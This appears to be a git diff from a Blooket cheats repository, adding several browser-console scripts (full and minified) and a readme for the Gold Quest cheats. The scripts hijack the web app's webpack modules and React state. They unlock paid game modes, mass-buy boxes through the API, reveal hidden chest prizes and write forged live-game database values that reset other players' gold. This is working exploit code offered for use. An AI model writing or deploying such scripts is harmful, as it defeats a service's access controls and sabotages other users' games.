oad/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){p.scene=this,p.rarity="",p.particles=this.physics.add.group({classType:new s.Class({Extends:s.GameObjects.Image,initialize:function(){s.GameObjects.Image.call(this,p.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,i,s,o,l,r,c){this.setTexture(c),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],p.scene.physics.velocityFromAngle(i,s,this.body.velocity),this.body.setGravityY(o),this.body.setAngularVelocity(l),this.lifespan=r},update:function(e,t){this.lifespan-=t,0{p.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=g("74sb");function i(e){switch(e){case"center":var t=Object(a.l)(-115,-65);return{x:p.scene.cameras.main.worldView.width/2,y:p.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90p.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,p.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>p.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(p.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(p.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=p.particles.get();s&&s.spawn.apply(s,Object.values(i("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var o=0;o<2;o++){var l=p.particles.get();l&&l.spawn.apply(l,Object.values(i(o%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var r=0;r<2;r++){var c=p.particles.get();c&&c.spawn.apply(c,Object.values(i(r%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var n=0;n<3;n++){var h=p.particles.get();h&&h.spawn.apply(h,Object.values(i("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var d=0;d<3;d++){var m=p.particles.get();m&&m.spawn.apply(m,Object.values(i(d%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0(c.src=null,r())})(); \ No newline at end of file diff --git a/cheats/global/spamBuyBlooks.js b/cheats/global/spamBuyBlooks.js new file mode 100644 index 0000000..1fca2da --- /dev/null +++ b/cheats/global/spamBuyBlooks.js @@ -0,0 +1,75 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { purchaseBlookBox } = Object.values(webpack.c).find(x => x.exports.a?.purchaseBlookBox).exports.a; + + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { tokens } }) => { + let prices = Object.values(webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || { Medieval: 20, Breakfast: 20, Wonderland: 20, Blizzard: 25, Space: 20, Bot: 20, Aquatic: 20, Safari: 20, Dino: 25, "Ice Monster": 25, Outback: 25 } + let box = prompt("Which box do you want to open? (ex: \"Ice Monster\")").split(' ').map(str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()).join(' '); + if (!Object.keys(prices).map(x => x.toLowerCase()).includes(box.toLowerCase())) return alert("I couldn't find that box!"); + + let amount = Math.min(Math.floor(tokens / Object.entries(prices).find(x => x[0].toLowerCase() == box.toLowerCase())[1]), parseInt(`0${prompt("How many boxes do you want to open?")}`)); + if (amount == 0) return alert("You do not have enough tokens!"); + + let alertBlooks = confirm("Would you like to alert blooks upon unlocking?"); + let blooks = {}; + let now = Date.now(); + let error = false; + + for (let i = 0; i < amount; i++) { + await purchaseBlookBox({ boxName: box }).then(({ isNewToUser, tokens, unlockedBlook }) => { + blooks[unlockedBlook] ||= 0; + blooks[unlockedBlook]++; + + let before = Date.now(); + + if (alertBlooks) alert(`${unlockedBlook} (${i + 1}/${amount}) ${isNewToUser ? "NEW! " : ''}${tokens} tokens left`); + + now += Date.now() - before; + }).catch(e => error = true); + if (error) break; + } + alert(`(${Date.now() - now}ms) Results:\n${Object.entries(blooks).map(([blook, amount]) => ` ${blook} ${amount}`).join(`\n`)}`); + }).catch(() => alert('There was an error user data!')); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/spamBuyBlooks.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272207 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/spamBuyBlooks.min.js b/cheats/global/spamBuyBlooks.min.js new file mode 100644 index 0000000..3a11f86 --- /dev/null +++ b/cheats/global/spamBuyBlooks.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tspamBuyBlooks.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var o=document.createElement("iframe");document.body.append(o),window.alert=o.contentWindow.alert.bind(window),window.prompt=o.contentWindow.prompt.bind(window),window.confirm=o.contentWindow.confirm.bind(window),o.remove();let a=webpackJsonp.push([[],{[1234]:(o,e,t)=>{e.webpack=t}},[["1234"]]])["webpack"],e=Object.values(a.c).find(o=>o.exports?.a?.get).exports.a,l=Object.values(a.c).find(o=>o.exports.a?.purchaseBlookBox).exports.a["purchaseBlookBox"];e.get("https://dashboard.blooket.com/api/users").then(async({data:{tokens:o}})=>{var e=Object.values(a.c).find(o=>!isNaN(o?.exports?.a?.Space)).exports.a||{Medieval:20,Breakfast:20,Wonderland:20,Blizzard:25,Space:20,Bot:20,Aquatic:20,Safari:20,Dino:25,"Ice Monster":25,Outback:25};let t=prompt('Which box do you want to open? (ex: "Ice Monster")').split(" ").map(o=>o.charAt(0).toUpperCase()+o.slice(1).toLowerCase()).join(" ");if(!Object.keys(e).map(o=>o.toLowerCase()).includes(t.toLowerCase()))return alert("I couldn't find that box!");let r=Math.min(Math.floor(o/Object.entries(e).find(o=>o[0].toLowerCase()==t.toLowerCase())[1]),parseInt("0"+prompt("How many boxes do you want to open?")));if(0==r)return alert("You do not have enough tokens!");let s=confirm("Would you like to alert blooks upon unlocking?"),c={},i=Date.now(),n=!1;for(let a=0;a{c[t]||=0,c[t]++;var n=Date.now();s&&alert(`${t} (${a+1}/${r}) ${o?"NEW! ":""}${e} tokens left`),i+=Date.now()-n}).catch(o=>n=!0),!n);a++);alert(`(${Date.now()-i}ms) Results:\n`+Object.entries(c).map(([o,e])=>` ${o} `+e).join(`\n`))}).catch(()=>alert("There was an error user data!"))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/spamBuyBlooks.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var o=document.createElement("canvas").getContext("2d");o.drawImage(i,0,0,this.width,this.height);let e=o.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let o=0;o(i.src=null,c())})(); \ No newline at end of file diff --git a/cheats/global/unlockPlusGamemodes.js b/cheats/global/unlockPlusGamemodes.js new file mode 100644 index 0000000..046c085 --- /dev/null +++ b/cheats/global/unlockPlusGamemodes.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState(state => (state.gameModes.forEach(gm => gm.plusOnly = false), state)); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/unlockPlusGamemodes.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272211 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/unlockPlusGamemodes.min.js b/cheats/global/unlockPlusGamemodes.min.js new file mode 100644 index 0000000..177ea51 --- /dev/null +++ b/cheats/global/unlockPlusGamemodes.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tunlockPlusGamemodes.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState(e=>(e.gameModes.forEach(e=>e.plusOnly=!1),e))};let r=new Image;r.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/unlockPlusGamemodes.png?"+Date.now(),r.crossOrigin="Anonymous",r.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(r,0,0,this.width,this.height);let o=e.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let e=0;e(r.src=null,l())})(); \ No newline at end of file diff --git a/cheats/global/useAnyBlook.js b/cheats/global/useAnyBlook.js new file mode 100644 index 0000000..34b2dfc --- /dev/null +++ b/cheats/global/useAnyBlook.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a; + if (location.pathname == "/blooks") stateNode.setState({ blookData: Object.keys(blooks).reduce((a, b) => (a[b] = (stateNode.state.blookData[b] || 1), a), {}), allSets: Object.values(blooks).reduce((a, b) => (a.includes(b.set) ? a : a.concat(b.set)), []) }); + else if (Array.isArray(stateNode.state.unlocks)) stateNode.setState({ unlocks: Object.keys(blooks) }); + else stateNode.setState({ unlocks: blooks }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/useAnyBlook.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272216 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/useAnyBlook.min.js b/cheats/global/useAnyBlook.min.js new file mode 100644 index 0000000..ae84b83 --- /dev/null +++ b/cheats/global/useAnyBlook.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tuseAnyBlook.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{const o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];var t=webpackJsonp.push([[],{[1234]:(t,e,o)=>{e.webpack=o}},[["1234"]]]).webpack("MDrD").a;"/blooks"==location.pathname?o.setState({blookData:Object.keys(t).reduce((t,e)=>(t[e]=o.state.blookData[e]||1,t),{}),allSets:Object.values(t).reduce((t,e)=>t.includes(e.set)?t:t.concat(e.set),[])}):Array.isArray(o.state.unlocks)?o.setState({unlocks:Object.keys(t)}):o.setState({unlocks:t})};let r=new Image;r.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/useAnyBlook.png?"+Date.now(),r.crossOrigin="Anonymous",r.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(r,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let t=0;t(r.src=null,l())})(); \ No newline at end of file diff --git a/cheats/gold/alwaysTriple.js b/cheats/gold/alwaysTriple.js new file mode 100644 index 0000000..d0eea30 --- /dev/null +++ b/cheats/gold/alwaysTriple.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.gold == 0 && stateNode.setState({ gold: 100, gold2: 100 }); + stateNode._choosePrize ||= stateNode.choosePrize; + stateNode.choosePrize = function (i) { + stateNode.state.choices[i] = { type: "multiply", val: 3, text: "Triple Gold!", blook: "Unicorn" }; + stateNode._choosePrize(i); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/alwaysTriple.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272221 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gold/alwaysTriple.min.js b/cheats/gold/alwaysTriple.min.js new file mode 100644 index 0000000..dd1735b --- /dev/null +++ b/cheats/gold/alwaysTriple.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\talwaysTriple.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const r=async()=>{let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];0==o.state.gold&&o.setState({gold:100,gold2:100}),o._choosePrize||=o.choosePrize,o.choosePrize=function(e){o.state.choices[e]={type:"multiply",val:3,text:"Triple Gold!",blook:"Unicorn"},o._choosePrize(e)}};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/alwaysTriple.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let o=e.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let e=0;e(s.src=null,r())})(); \ No newline at end of file diff --git a/cheats/gold/autoChoose.js b/cheats/gold/autoChoose.js new file mode 100644 index 0000000..ddf88f5 --- /dev/null +++ b/cheats/gold/autoChoose.js @@ -0,0 +1,58 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "prize") { + const players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", c => c && r(c))) || []).filter(x => x[0] != stateNode.props.client.name).sort((a, b) => b[1].g - a[1].g)[0]?.[1]?.g || 0; + let max = 0; index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + let value = stateNode.state.gold; + switch (type) { + case "gold": value = stateNode.state.gold + val || stateNode.state.gold; break; + case "multiply": + case "divide": value = Math.round(stateNode.state.gold * val) || stateNode.state.gold; break; + case "swap": value = players || stateNode.state.gold; + case "take": value = stateNode.state.gold + players * val || stateNode.state.gold; + } + if ((value || 0) <= max) continue; + max = value, index = i + 1; + } + document.querySelector(`div[class^='styles__choice${index}']`).click(); + } + } catch { } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/autoChoose.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272226 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gold/autoChoose.min.js b/cheats/gold/autoChoose.min.js new file mode 100644 index 0000000..5311e8a --- /dev/null +++ b/cheats/gold/autoChoose.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let n=document.querySelector("iframe");n.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),n.contentWindow.console.log.call(window,"%c\tautoChoose.js","color: #0bc2cf; font-size: 1rem"),n.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{try{let a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("prize"===a.state.stage){var s=Object.entries(await new Promise(t=>a.props.liveGameController.getDatabaseVal("c",e=>e&&t(e)))||[]).filter(e=>e[0]!=a.props.client.name).sort((e,t)=>t[1].g-e[1].g)[0]?.[1]?.g||0;let o=0;index=-1;for(let t=0;t(r.src=null,l())})(); \ No newline at end of file diff --git a/cheats/gold/chestESP.js b/cheats/gold/chestESP.js new file mode 100644 index 0000000..5596f18 --- /dev/null +++ b/cheats/gold/chestESP.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.choices.forEach(({ text }, index) => { + let chest = document.querySelector(`div[class^='styles__choice${index + 1}']`); + if (!chest || chest.querySelector('div')) return; + let choice = document.createElement('div') + choice.style.color = "white"; + choice.style.fontFamily = "Eczar"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(200px)"; + choice.innerText = text; + chest.append(choice) + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/chestESP.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272259 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gold/chestESP.min.js b/cheats/gold/chestESP.min.js new file mode 100644 index 0000000..1e37d97 --- /dev/null +++ b/cheats/gold/chestESP.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tchestESP.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.state.choices.forEach(({text:e},t)=>{var o,t=document.querySelector(`div[class^='styles__choice${t+1}']`);t&&!t.querySelector("div")&&((o=document.createElement("div")).style.color="white",o.style.fontFamily="Eczar",o.style.fontSize="2em",o.style.display="flex",o.style.justifyContent="center",o.style.transform="translateY(200px)",o.innerText=e,t.append(o))})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/chestESP.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/gold/readme.md b/cheats/gold/readme.md new file mode 100644 index 0000000..6816fc9 --- /dev/null +++ b/cheats/gold/readme.md @@ -0,0 +1,22 @@ +# Gold Quest Cheats + +## [Always Triple](alwaysTriple.js) +Always get triple gold + +## [Auto Choose](autoChoose.js) +Automatically picks the best chest + +## [Chest ESP](chestESP.js) +Shows what each chest will give you + +## [Reset Player's Gold](resetPlayersGold.js) +Sets a player's gold to 0 + +## [Reset All Gold](resetAllGold.js) +Set's everyone else's gold to 0 + +## [Set Gold](setGold.js) +Sets amount of gold + +## [Swap Gold](swapGold.js) +Brings up the player select page to swap with someone \ No newline at end of file diff --git a/cheats/gold/resetAllGold.js b/cheats/gold/resetAllGold.js new file mode 100644 index 0000000..4af55bc --- /dev/null +++ b/cheats/gold/resetAllGold.js @@ -0,0 +1,59 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let count = 0; + props.liveGameController.getDatabaseVal("c", async (players) => { + if (players) for (const player of Object.keys(players)) { + props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${player}:swap:0` + } + }); + count++; + await new Promise(r => setTimeout(r, 4000)); + } + alert(`Reset ${count} players' gold!`); + }) + + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/resetAllGold.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272276 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No 